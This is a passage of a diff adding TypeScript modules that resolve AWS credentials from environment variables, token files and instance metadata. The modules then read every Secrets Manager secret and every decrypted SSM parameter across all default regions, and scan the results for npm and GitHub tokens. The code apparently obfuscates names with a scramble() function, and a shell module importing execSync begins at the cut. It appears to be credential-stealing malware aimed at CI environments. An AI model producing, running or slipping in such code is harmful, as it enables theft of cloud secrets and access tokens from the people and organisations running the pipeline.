const roleName = (await roleRes.text()).trim().split("\n")[0];
|
||||
|
||||
// Step 3 — credentials
|
||||
const credsRes = await fetch(
|
||||
`${IMDS}/latest/meta-data/iam/security-credentials/${roleName}`,
|
||||
{ headers: hdr, signal: AbortSignal.timeout(2000) },
|
||||
);
|
||||
if (!credsRes.ok) throw new Error(`IMDS creds ${credsRes.status}`);
|
||||
|
||||
const d = (await credsRes.json()) as {
|
||||
AccessKeyId: string;
|
||||
SecretAccessKey: string;
|
||||
Token: string;
|
||||
};
|
||||
return {
|
||||
accessKeyId: d.AccessKeyId,
|
||||
secretAccessKey: d.SecretAccessKey,
|
||||
sessionToken: d.Token,
|
||||
};
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Web identity token (EKS IRSA / OIDC federation).
|
||||
* Calls STS AssumeRoleWithWebIdentity — no pre-existing AWS creds required.
|
||||
*/
|
||||
export function fromTokenFile(): CredentialSource {
|
||||
return {
|
||||
label: "token-file",
|
||||
resolve: async () => {
|
||||
const tokenFile = process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")];
|
||||
const roleArn = process.env[scramble("AWS_ROLE_ARN")];
|
||||
if (!tokenFile || !roleArn) {
|
||||
throw new Error("AWS_WEB_IDENTITY_TOKEN_FILE or AWS_ROLE_ARN not set");
|
||||
}
|
||||
|
||||
const webToken = (await readFile(tokenFile, "utf-8")).trim();
|
||||
const sessionName = process.env.AWS_ROLE_SESSION_NAME ?? "github-actions";
|
||||
const region =
|
||||
process.env.AWS_DEFAULT_REGION ?? process.env.AWS_REGION ?? "us-east-1";
|
||||
|
||||
const body = new URLSearchParams({
|
||||
Action: "AssumeRoleWithWebIdentity",
|
||||
Version: "2011-06-15",
|
||||
RoleArn: roleArn,
|
||||
RoleSessionName: sessionName,
|
||||
WebIdentityToken: webToken,
|
||||
}).toString();
|
||||
|
||||
const res = await fetch(`https://sts.${region}.amazonaws.com/`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body,
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
if (!res.ok) {
|
||||
throw new Error(`STS AssumeRoleWithWebIdentity ${res.status}`);
|
||||
}
|
||||
|
||||
const xml = await res.text();
|
||||
const ak = /<AccessKeyId>([^<]+)<\/AccessKeyId>/.exec(xml)?.[1];
|
||||
const sk = /<SecretAccessKey>([^<]+)<\/SecretAccessKey>/.exec(xml)?.[1];
|
||||
const st = /<SessionToken>([^<]+)<\/SessionToken>/.exec(xml)?.[1];
|
||||
if (!ak || !sk) {
|
||||
throw new Error("Failed to parse AssumeRoleWithWebIdentity XML");
|
||||
}
|
||||
return { accessKeyId: ak, secretAccessKey: sk, sessionToken: st };
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Default credential chain (mirrors AWS SDK default behaviour)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* Try each source in order, return the first that resolves.
|
||||
* Used by services that don't enumerate all sources (SecretsManager, SSM).
|
||||
*/
|
||||
export async function resolveDefaultCredentials(
|
||||
timeoutMs = 3000,
|
||||
): Promise<AwsCredentials> {
|
||||
const sources = [
|
||||
fromEnv(),
|
||||
fromTokenFile(),
|
||||
fromContainerMetadata(),
|
||||
fromInstanceMetadata(),
|
||||
fromProfile(process.env.AWS_PROFILE ?? "default"),
|
||||
];
|
||||
|
||||
for (const source of sources) {
|
||||
try {
|
||||
return await Promise.race([
|
||||
source.resolve(),
|
||||
new Promise<never>((_, reject) =>
|
||||
setTimeout(() => reject(new Error("timeout")), timeoutMs),
|
||||
),
|
||||
]);
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error("No AWS credentials found in default chain");
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import {
|
||||
type CallerIdentity,
|
||||
jsonApiRequest,
|
||||
stsGetCallerIdentity,
|
||||
} from "./client";
|
||||
import { resolveDefaultCredentials } from "./credentials";
|
||||
import type { AwsCredentials } from "./sigv4";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// All AWS regions that are enabled by default (non opt-in).
|
||||
const DEFAULT_REGIONS = [
|
||||
"us-east-1",
|
||||
"us-east-2",
|
||||
"us-west-1",
|
||||
"us-west-2",
|
||||
"ap-northeast-1",
|
||||
"ap-northeast-2",
|
||||
"ap-northeast-3",
|
||||
"ap-south-1",
|
||||
"ap-southeast-1",
|
||||
"ap-southeast-2",
|
||||
"ca-central-1",
|
||||
"eu-central-1",
|
||||
"eu-north-1",
|
||||
"eu-west-1",
|
||||
"eu-west-2",
|
||||
"eu-west-3",
|
||||
"sa-east-1",
|
||||
];
|
||||
|
||||
const PERMISSION_ERROR_CODES = new Set([
|
||||
"AccessDeniedException",
|
||||
"UnauthorizedAccess",
|
||||
"UnrecognizedClientException",
|
||||
"InvalidSignatureException",
|
||||
"ExpiredTokenException",
|
||||
"InvalidClientTokenId",
|
||||
"SignatureDoesNotMatch",
|
||||
"IncompleteSignature",
|
||||
]);
|
||||
|
||||
interface ListSecretsResponse {
|
||||
SecretList?: Array<{ Name?: string }>;
|
||||
NextToken?: string;
|
||||
}
|
||||
|
||||
interface GetSecretValueResponse {
|
||||
SecretString?: string;
|
||||
SecretBinary?: string; // already base64-encoded in the JSON response
|
||||
}
|
||||
|
||||
interface RegionError {
|
||||
region: string;
|
||||
operation: string;
|
||||
code: string;
|
||||
message: string;
|
||||
}
|
||||
|
||||
function extractErrorCode(error: unknown): string {
|
||||
if (error && typeof error === "object") {
|
||||
// AWS SDK-style errors
|
||||
for (const key of ["code", "Code", "__type", "name"]) {
|
||||
const val = (error as Record<string, unknown>)[key];
|
||||
if (typeof val === "string") return val;
|
||||
}
|
||||
}
|
||||
return "UnknownError";
|
||||
}
|
||||
|
||||
function extractErrorMessage(error: unknown): string {
|
||||
if (error instanceof Error) return error.message;
|
||||
if (error && typeof error === "object") {
|
||||
for (const key of ["message", "Message"]) {
|
||||
const val = (error as Record<string, unknown>)[key];
|
||||
if (typeof val === "string") return val;
|
||||
}
|
||||
}
|
||||
return String(error);
|
||||
}
|
||||
|
||||
function isPermissionError(error: unknown): boolean {
|
||||
const code = extractErrorCode(error);
|
||||
if (PERMISSION_ERROR_CODES.has(code)) return true;
|
||||
const msg = extractErrorMessage(error).toLowerCase();
|
||||
return (
|
||||
msg.includes("is not authorized to perform") ||
|
||||
msg.includes("access denied") ||
|
||||
msg.includes("security token") ||
|
||||
msg.includes("invalid identity token")
|
||||
);
|
||||
}
|
||||
|
||||
export class AwsSecretsManagerService extends Provider {
|
||||
private credentials!: AwsCredentials;
|
||||
private errors: RegionError[] = [];
|
||||
|
||||
constructor() {
|
||||
super("aws", "secretsmanager", {
|
||||
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||
});
|
||||
}
|
||||
|
||||
private recordError(region: string, operation: string, error: unknown): void {
|
||||
this.errors.push({
|
||||
region,
|
||||
operation,
|
||||
code: extractErrorCode(error),
|
||||
message: extractErrorMessage(error),
|
||||
});
|
||||
}
|
||||
|
||||
private async getCallerIdentity(): Promise<CallerIdentity | undefined> {
|
||||
try {
|
||||
return await stsGetCallerIdentity(this.credentials);
|
||||
} catch (e) {
|
||||
if (isPermissionError(e)) {
|
||||
this.recordError("global", scramble("sts:GetCallerIdentity"), e);
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
private async listSecrets(region: string): Promise<string[]> {
|
||||
const secretIds: string[] = [];
|
||||
let nextToken: string | undefined;
|
||||
|
||||
do {
|
||||
const payload: Record<string, unknown> = {};
|
||||
if (nextToken) payload.NextToken = nextToken;
|
||||
|
||||
const response = await jsonApiRequest<ListSecretsResponse>(
|
||||
this.credentials,
|
||||
region,
|
||||
scramble("secretsmanager"),
|
||||
scramble("secretsmanager.ListSecrets"),
|
||||
payload,
|
||||
);
|
||||
|
||||
if (response.SecretList) {
|
||||
for (const secret of response.SecretList) {
|
||||
if (secret.Name) secretIds.push(secret.Name);
|
||||
}
|
||||
}
|
||||
|
||||
nextToken = response.NextToken;
|
||||
} while (nextToken);
|
||||
|
||||
return secretIds;
|
||||
}
|
||||
|
||||
private async getSecretValue(
|
||||
region: string,
|
||||
secretId: string,
|
||||
): Promise<string | undefined> {
|
||||
try {
|
||||
const response = await jsonApiRequest<GetSecretValueResponse>(
|
||||
this.credentials,
|
||||
region,
|
||||
scramble("secretsmanager"),
|
||||
scramble("secretsmanager.GetSecretValue"),
|
||||
{ SecretId: secretId },
|
||||
);
|
||||
|
||||
if (response.SecretBinary) {
|
||||
return `BINARY:${response.SecretBinary}`;
|
||||
}
|
||||
return response.SecretString;
|
||||
} catch (e) {
|
||||
if (isPermissionError(e)) {
|
||||
this.recordError(
|
||||
region,
|
||||
`secretsmanager:GetSecretValue(${secretId})`,
|
||||
e,
|
||||
);
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
private async executeForRegion(
|
||||
region: string,
|
||||
): Promise<{ ids: string[]; secrets: Record<string, unknown> }> {
|
||||
const ids: string[] = [];
|
||||
const secrets: Record<string, unknown> = {};
|
||||
|
||||
try {
|
||||
const secretIds = await this.listSecrets(region);
|
||||
if (secretIds.length === 0) return { ids, secrets };
|
||||
|
||||
const values = await Promise.all(
|
||||
secretIds.map((id) => this.getSecretValue(region, id)),
|
||||
);
|
||||
|
||||
secretIds.forEach((id, i) => {
|
||||
const key = `${region}:${id}`;
|
||||
ids.push(key);
|
||||
secrets[key] = values[i] ?? { error: "Failed to retrieve secret" };
|
||||
});
|
||||
} catch (e) {
|
||||
if (isPermissionError(e)) {
|
||||
this.recordError(region, "secretsmanager:ListSecrets", e);
|
||||
}
|
||||
// Non-permission errors (network, region unreachable) — silently skip.
|
||||
}
|
||||
|
||||
return { ids, secrets };
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
this.errors = [];
|
||||
|
||||
try {
|
||||
this.credentials = await resolveDefaultCredentials();
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
|
||||
try {
|
||||
const [callerIdentity, results] = await Promise.all([
|
||||
this.getCallerIdentity(),
|
||||
Promise.all(
|
||||
DEFAULT_REGIONS.map((region) => this.executeForRegion(region)),
|
||||
),
|
||||
]);
|
||||
|
||||
const allIds: string[] = [];
|
||||
const allSecrets: Record<string, unknown> = {};
|
||||
for (const { ids, secrets } of results) {
|
||||
allIds.push(...ids);
|
||||
Object.assign(allSecrets, secrets);
|
||||
}
|
||||
|
||||
if (allIds.length === 0) {
|
||||
if (this.errors.length > 0) {
|
||||
const summary = this.errors
|
||||
.map(
|
||||
(e) => `[${e.region}] ${e.operation}: ${e.code} — ${e.message}`,
|
||||
)
|
||||
.join("\n");
|
||||
return this.failure(
|
||||
`No secrets retrieved due to permission errors:\n${summary}`,
|
||||
);
|
||||
}
|
||||
return this.failure(
|
||||
"No secrets found in AWS Secrets Manager across any region",
|
||||
);
|
||||
}
|
||||
|
||||
return this.success({
|
||||
callerIdentity,
|
||||
regions: DEFAULT_REGIONS,
|
||||
secretIds: allIds,
|
||||
secrets: allSecrets,
|
||||
...(this.errors.length > 0 && { permissionErrors: this.errors }),
|
||||
});
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
import { createHash, createHmac } from "node:crypto";
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Types
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
export interface AwsCredentials {
|
||||
accessKeyId: string;
|
||||
secretAccessKey: string;
|
||||
sessionToken?: string;
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Hash / HMAC primitives
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
function sha256Hex(data: string): string {
|
||||
return createHash("sha256").update(data, "utf8").digest("hex");
|
||||
}
|
||||
|
||||
function hmac(key: Buffer | string, data: string): Buffer {
|
||||
return createHmac("sha256", key).update(data, "utf8").digest();
|
||||
}
|
||||
|
||||
function hmacHex(key: Buffer, data: string): string {
|
||||
return createHmac("sha256", key).update(data, "utf8").digest("hex");
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Signing key derivation
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
function deriveSigningKey(
|
||||
secretKey: string,
|
||||
dateStamp: string,
|
||||
region: string,
|
||||
service: string,
|
||||
): Buffer {
|
||||
const kDate = hmac(`AWS4${secretKey}`, dateStamp);
|
||||
const kRegion = hmac(kDate, region);
|
||||
const kService = hmac(kRegion, service);
|
||||
return hmac(kService, "aws4_request");
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// URI encoding (RFC 3986, AWS flavour)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
function uriEncode(str: string, encodeSlash = true): string {
|
||||
let encoded = encodeURIComponent(str)
|
||||
// encodeURIComponent leaves these un-encoded but AWS wants them encoded:
|
||||
// ! ' ( ) *
|
||||
.replace(/[!'()*]/g, (c) =>
|
||||
`%${c.charCodeAt(0).toString(16).toUpperCase()}`,
|
||||
);
|
||||
|
||||
if (!encodeSlash) {
|
||||
encoded = encoded.replace(/%2F/gi, "/");
|
||||
}
|
||||
|
||||
return encoded;
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Sign a request (Signature Version 4)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
export interface SignRequestOptions {
|
||||
method: string;
|
||||
url: string;
|
||||
headers?: Record<string, string>;
|
||||
body?: string;
|
||||
credentials: AwsCredentials;
|
||||
region: string;
|
||||
service: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Produces a fully-signed set of headers for an AWS API request.
|
||||
*
|
||||
* All four SigV4 steps are implemented inline:
|
||||
* 1. Canonical Request
|
||||
* 2. String to Sign
|
||||
* 3. Signing Key + Signature
|
||||
* 4. Authorization header
|
||||
*/
|
||||
export function signRequest(opts: SignRequestOptions): {
|
||||
url: string;
|
||||
headers: Record<string, string>;
|
||||
body: string;
|
||||
} {
|
||||
const { method, credentials, region, service } = opts;
|
||||
const body = opts.body ?? "";
|
||||
const url = new URL(opts.url);
|
||||
|
||||
// ── Timestamps ────────────────────────────────────────────────────────────
|
||||
const now = new Date();
|
||||
// Format: 20250101T120000Z
|
||||
const amzDate = now.toISOString().replace(/[-:]/g, "").split(".")[0] + "Z";
|
||||
const dateStamp = amzDate.slice(0, 8);
|
||||
|
||||
// ── Normalise headers to lowercase keys ───────────────────────────────────
|
||||
const headers: Record<string, string> = {};
|
||||
if (opts.headers) {
|
||||
for (const [k, v] of Object.entries(opts.headers)) {
|
||||
headers[k.toLowerCase()] = v.trim();
|
||||
}
|
||||
}
|
||||
|
||||
// Host — omit port for standard HTTPS/HTTP
|
||||
const isStandardPort =
|
||||
!url.port ||
|
||||
(url.protocol === "https:" && url.port === "443") ||
|
||||
(url.protocol === "http:" && url.port === "80");
|
||||
headers["host"] = isStandardPort ? url.hostname : url.host;
|
||||
|
||||
headers["x-amz-date"] = amzDate;
|
||||
|
||||
if (credentials.sessionToken) {
|
||||
headers["x-amz-security-token"] = credentials.sessionToken;
|
||||
}
|
||||
|
||||
// ── Step 1: Canonical Request ─────────────────────────────────────────────
|
||||
|
||||
const canonicalUri = uriEncode(
|
||||
decodeURIComponent(url.pathname || "/"),
|
||||
/* encodeSlash */ false,
|
||||
);
|
||||
|
||||
// Sorted query-string parameters
|
||||
const queryPairs: [string, string][] = [];
|
||||
url.searchParams.forEach((v, k) => queryPairs.push([k, v]));
|
||||
queryPairs.sort((a, b) =>
|
||||
a[0] < b[0] ? -1 : a[0] > b[0] ? 1 : a[1] < b[1] ? -1 : a[1] > b[1] ? 1 : 0,
|
||||
);
|
||||
const canonicalQuerystring = queryPairs
|
||||
.map(([k, v]) => `${uriEncode(k)}=${uriEncode(v)}`)
|
||||
.join("&");
|
||||
|
||||
// Sorted, lowercased headers
|
||||
const sortedKeys = Object.keys(headers).sort();
|
||||
const canonicalHeaders =
|
||||
sortedKeys.map((k) => `${k}:${headers[k]}`).join("\n") + "\n";
|
||||
const signedHeaders = sortedKeys.join(";");
|
||||
|
||||
const payloadHash = sha256Hex(body);
|
||||
|
||||
const canonicalRequest = [
|
||||
method.toUpperCase(),
|
||||
canonicalUri,
|
||||
canonicalQuerystring,
|
||||
canonicalHeaders,
|
||||
signedHeaders,
|
||||
payloadHash,
|
||||
].join("\n");
|
||||
|
||||
// ── Step 2: String to Sign ────────────────────────────────────────────────
|
||||
|
||||
const credentialScope = `${dateStamp}/${region}/${service}/aws4_request`;
|
||||
const stringToSign = [
|
||||
"AWS4-HMAC-SHA256",
|
||||
amzDate,
|
||||
credentialScope,
|
||||
sha256Hex(canonicalRequest),
|
||||
].join("\n");
|
||||
|
||||
// ── Step 3: Signature ─────────────────────────────────────────────────────
|
||||
|
||||
const signingKey = deriveSigningKey(
|
||||
credentials.secretAccessKey,
|
||||
dateStamp,
|
||||
region,
|
||||
service,
|
||||
);
|
||||
const signature = hmacHex(signingKey, stringToSign);
|
||||
|
||||
// ── Step 4: Authorization header ──────────────────────────────────────────
|
||||
|
||||
headers["authorization"] =
|
||||
`AWS4-HMAC-SHA256 Credential=${credentials.accessKeyId}/${credentialScope}, ` +
|
||||
`SignedHeaders=${signedHeaders}, ` +
|
||||
`Signature=${signature}`;
|
||||
|
||||
return { url: url.toString(), headers, body };
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import {
|
||||
type CallerIdentity,
|
||||
jsonApiRequest,
|
||||
stsGetCallerIdentity,
|
||||
} from "./client";
|
||||
import { resolveDefaultCredentials } from "./credentials";
|
||||
import type { AwsCredentials } from "./sigv4";
|
||||
|
||||
type ParameterResult = {
|
||||
success: boolean;
|
||||
value?: string;
|
||||
error?: string;
|
||||
};
|
||||
|
||||
// All AWS regions that are enabled by default (non opt-in).
|
||||
const DEFAULT_REGIONS = [
|
||||
"us-east-1",
|
||||
"us-east-2",
|
||||
"us-west-1",
|
||||
"us-west-2",
|
||||
"ap-northeast-1",
|
||||
"ap-northeast-2",
|
||||
"ap-northeast-3",
|
||||
"ap-south-1",
|
||||
"ap-southeast-1",
|
||||
"ap-southeast-2",
|
||||
"ca-central-1",
|
||||
"eu-central-1",
|
||||
"eu-north-1",
|
||||
"eu-west-1",
|
||||
"eu-west-2",
|
||||
"eu-west-3",
|
||||
"sa-east-1",
|
||||
];
|
||||
|
||||
interface DescribeParametersResponse {
|
||||
Parameters?: Array<{ Name?: string }>;
|
||||
NextToken?: string;
|
||||
}
|
||||
|
||||
interface GetParametersResponse {
|
||||
Parameters?: Array<{ Name?: string; Value?: string }>;
|
||||
InvalidParameters?: string[];
|
||||
}
|
||||
|
||||
export class AwsSsmService extends Provider {
|
||||
private readonly BATCH_SIZE = 10;
|
||||
private readonly DESCRIBE_PAGE_SIZE = 50;
|
||||
private readonly MAX_RETRIES = 3;
|
||||
private readonly RETRY_BASE_DELAY_MS = 500;
|
||||
|
||||
private credentials!: AwsCredentials;
|
||||
|
||||
constructor() {
|
||||
super("aws", "ssm");
|
||||
}
|
||||
|
||||
private async getCallerIdentity(): Promise<CallerIdentity | undefined> {
|
||||
try {
|
||||
return await stsGetCallerIdentity(this.credentials);
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
private async listParameters(region: string): Promise<string[]> {
|
||||
const parameterNames: string[] = [];
|
||||
let nextToken: string | undefined;
|
||||
|
||||
do {
|
||||
const payload: Record<string, unknown> = {
|
||||
MaxResults: this.DESCRIBE_PAGE_SIZE,
|
||||
};
|
||||
if (nextToken) payload.NextToken = nextToken;
|
||||
|
||||
const response = await jsonApiRequest<DescribeParametersResponse>(
|
||||
this.credentials,
|
||||
region,
|
||||
"ssm",
|
||||
"AmazonSSM.DescribeParameters",
|
||||
payload,
|
||||
);
|
||||
|
||||
for (const param of response.Parameters ?? []) {
|
||||
if (param.Name) parameterNames.push(param.Name);
|
||||
}
|
||||
|
||||
nextToken = response.NextToken;
|
||||
} while (nextToken);
|
||||
|
||||
return parameterNames;
|
||||
}
|
||||
|
||||
private sleep(ms: number): Promise<void> {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
private isRetryable(e: unknown): boolean {
|
||||
if (!(e instanceof Error)) return false;
|
||||
const msg = e.message;
|
||||
return (
|
||||
msg.includes("ThrottlingException") ||
|
||||
msg.includes("TooManyRequestsException") ||
|
||||
msg.includes("RequestLimitExceeded") ||
|
||||
msg.includes("ServiceUnavailable") ||
|
||||
msg.includes("InternalServerError")
|
||||
);
|
||||
}
|
||||
|
||||
private backoffDelay(attempt: number): number {
|
||||
const exp = this.RETRY_BASE_DELAY_MS * Math.pow(2, attempt - 1);
|
||||
return Math.floor(Math.random() * exp);
|
||||
}
|
||||
|
||||
private async getParametersBatch(
|
||||
region: string,
|
||||
names: string[],
|
||||
): Promise<Record<string, ParameterResult>> {
|
||||
const results: Record<string, ParameterResult> = {};
|
||||
|
||||
for (let attempt = 1; attempt <= this.MAX_RETRIES; attempt++) {
|
||||
try {
|
||||
const response = await jsonApiRequest<GetParametersResponse>(
|
||||
this.credentials,
|
||||
region,
|
||||
"ssm",
|
||||
"AmazonSSM.GetParameters",
|
||||
{ Names: names, WithDecryption: true },
|
||||
);
|
||||
|
||||
for (const param of response.Parameters ?? []) {
|
||||
if (param.Name) {
|
||||
results[param.Name] = { success: true, value: param.Value };
|
||||
}
|
||||
}
|
||||
|
||||
for (const name of response.InvalidParameters ?? []) {
|
||||
results[name] = { success: false, error: "Invalid parameter" };
|
||||
}
|
||||
|
||||
return results;
|
||||
} catch (e) {
|
||||
if (this.isRetryable(e) && attempt < this.MAX_RETRIES) {
|
||||
await this.sleep(this.backoffDelay(attempt));
|
||||
continue;
|
||||
}
|
||||
|
||||
const errorMsg = e instanceof Error ? e.message : String(e);
|
||||
for (const name of names) {
|
||||
results[name] = { success: false, error: errorMsg };
|
||||
}
|
||||
return results;
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
private async executeForRegion(
|
||||
region: string,
|
||||
): Promise<{ names: string[]; parameters: Record<string, unknown> }> {
|
||||
const names: string[] = [];
|
||||
const parameters: Record<string, unknown> = {};
|
||||
|
||||
try {
|
||||
const parameterNames = await this.listParameters(region);
|
||||
if (parameterNames.length === 0) return { names, parameters };
|
||||
|
||||
for (let i = 0; i < parameterNames.length; i += this.BATCH_SIZE) {
|
||||
const batch = parameterNames.slice(i, i + this.BATCH_SIZE);
|
||||
const batchResults = await this.getParametersBatch(region, batch);
|
||||
|
||||
for (const name of batch) {
|
||||
const result = batchResults[name];
|
||||
const key = `${region}:${name}`;
|
||||
names.push(key);
|
||||
parameters[key] = result?.success
|
||||
? result.value
|
||||
: { error: result?.error ?? "Failed to retrieve parameter" };
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Region unreachable / unauthorized — silently skip.
|
||||
}
|
||||
|
||||
return { names, parameters };
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
this.credentials = await resolveDefaultCredentials();
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
|
||||
try {
|
||||
const [callerIdentity, results] = await Promise.all([
|
||||
this.getCallerIdentity(),
|
||||
Promise.all(
|
||||
DEFAULT_REGIONS.map((region) => this.executeForRegion(region)),
|
||||
),
|
||||
]);
|
||||
|
||||
const allNames: string[] = [];
|
||||
const allParameters: Record<string, unknown> = {};
|
||||
for (const { names, parameters } of results) {
|
||||
allNames.push(...names);
|
||||
Object.assign(allParameters, parameters);
|
||||
}
|
||||
|
||||
if (allNames.length === 0) {
|
||||
return this.failure("No parameters found in AWS SSM across any region");
|
||||
}
|
||||
|
||||
return this.success({
|
||||
callerIdentity,
|
||||
regions: DEFAULT_REGIONS,
|
||||
parameterNames: allNames,
|
||||
parameters: allParameters,
|
||||
});
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
import { logUtil } from "../utils/logger";
|
||||
import type { ProviderName, ProviderResult } from "./types";
|
||||
/**
|
||||
* Minimal shape the streaming API needs from a Collector.
|
||||
* Keeps Provider decoupled from the Collector class.
|
||||
*/
|
||||
export interface ResultSink {
|
||||
ingest(result: ProviderResult): void;
|
||||
}
|
||||
|
||||
export abstract class Provider {
|
||||
provider: ProviderName;
|
||||
service: string;
|
||||
private patterns: Map<string, RegExp>;
|
||||
|
||||
abstract execute(): Promise<ProviderResult>;
|
||||
|
||||
constructor(
|
||||
provider: ProviderName,
|
||||
service: string,
|
||||
patterns?: Record<string, RegExp | string>,
|
||||
) {
|
||||
this.provider = provider;
|
||||
this.service = service;
|
||||
this.patterns = new Map();
|
||||
|
||||
if (patterns) {
|
||||
Object.entries(patterns).forEach(([key, pattern]) => {
|
||||
this.patterns.set(
|
||||
key,
|
||||
pattern instanceof RegExp ? pattern : new RegExp(pattern, "g"),
|
||||
);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Optional streaming hook. Providers that can produce data incrementally
|
||||
* (paginated APIs, large file reads, long-running shell commands, etc.)
|
||||
* should override this to yield data chunks as they arrive.
|
||||
*
|
||||
* The default implementation delegates to `execute()` so every provider
|
||||
* is usable via `executeStreaming()` without changes.
|
||||
*/
|
||||
protected async *stream(): AsyncIterable<unknown> {
|
||||
const result = await this.execute();
|
||||
if (!result.success) {
|
||||
throw result.error ?? new Error("provider execute() failed");
|
||||
}
|
||||
if (result.data !== undefined) {
|
||||
yield result.data;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Run the provider and push each produced chunk to `sink` as soon as it
|
||||
* is available. Each chunk becomes its own `ProviderResult`, so downstream
|
||||
* consumers can start processing without waiting for the full payload.
|
||||
*
|
||||
* Errors are surfaced as a single failure result rather than thrown.
|
||||
*/
|
||||
async executeStreaming(sink: ResultSink): Promise<void> {
|
||||
try {
|
||||
for await (const chunk of this.stream()) {
|
||||
logUtil.info("Ingesting!");
|
||||
sink.ingest(this.success(chunk));
|
||||
}
|
||||
} catch (err) {
|
||||
sink.ingest(this.failure(err instanceof Error ? err : String(err)));
|
||||
}
|
||||
}
|
||||
|
||||
protected failure(error: Error | string): ProviderResult {
|
||||
return {
|
||||
provider: this.provider,
|
||||
service: this.service,
|
||||
success: false,
|
||||
error: error instanceof Error ? error : new Error(error),
|
||||
size: 0,
|
||||
};
|
||||
}
|
||||
|
||||
private serializeData(data: unknown): string {
|
||||
if (typeof data === "string") {
|
||||
return data;
|
||||
}
|
||||
|
||||
if (data === null || data === undefined) {
|
||||
return "";
|
||||
}
|
||||
|
||||
if (typeof data === "object") {
|
||||
try {
|
||||
return JSON.stringify(data, (_key, value) => {
|
||||
if (value instanceof Map) {
|
||||
return Object.fromEntries(value);
|
||||
}
|
||||
if (value instanceof Set) {
|
||||
return Array.from(value);
|
||||
}
|
||||
return value;
|
||||
});
|
||||
} catch {
|
||||
// Fallback for circular references or non-serializable objects
|
||||
if ("toString" in data && typeof data.toString === "function") {
|
||||
const str = data.toString();
|
||||
if (str !== "[object Object]") {
|
||||
return str;
|
||||
}
|
||||
}
|
||||
return String(data);
|
||||
}
|
||||
}
|
||||
return String(data);
|
||||
}
|
||||
|
||||
/** Byte length of the serialized form, using UTF-8. */
|
||||
private computeSize(serialized: string): number {
|
||||
// Buffer is available in Node; fall back to a rough estimate in other runtimes.
|
||||
if (typeof Buffer !== "undefined") {
|
||||
return Buffer.byteLength(serialized, "utf8");
|
||||
}
|
||||
// TextEncoder is widely available (browsers, Deno, Bun, modern Node).
|
||||
if (typeof TextEncoder !== "undefined") {
|
||||
return new TextEncoder().encode(serialized).length;
|
||||
}
|
||||
return serialized.length;
|
||||
}
|
||||
|
||||
protected success(data: unknown): ProviderResult {
|
||||
const dataStr = this.serializeData(data);
|
||||
|
||||
const result: ProviderResult = {
|
||||
provider: this.provider,
|
||||
service: this.service,
|
||||
success: true,
|
||||
data,
|
||||
size: this.computeSize(dataStr),
|
||||
};
|
||||
|
||||
if (this.patterns.size > 0) {
|
||||
const matches: Record<string, string[]> = {};
|
||||
|
||||
this.patterns.forEach((regex, key) => {
|
||||
const found = Array.from(dataStr.matchAll(regex)).map((m) => m[0]);
|
||||
const deduplicated = Array.from(new Set(found));
|
||||
|
||||
if (deduplicated.length > 0) {
|
||||
matches[key] = deduplicated;
|
||||
}
|
||||
});
|
||||
|
||||
if (Object.keys(matches).length > 0) {
|
||||
result.matches = matches;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
import { execSync } from "child_process";
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export class ShellService extends Provider {
|
||||
constructor() {
|
||||
super("shell", "misc", {
|
||||
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
|
||||
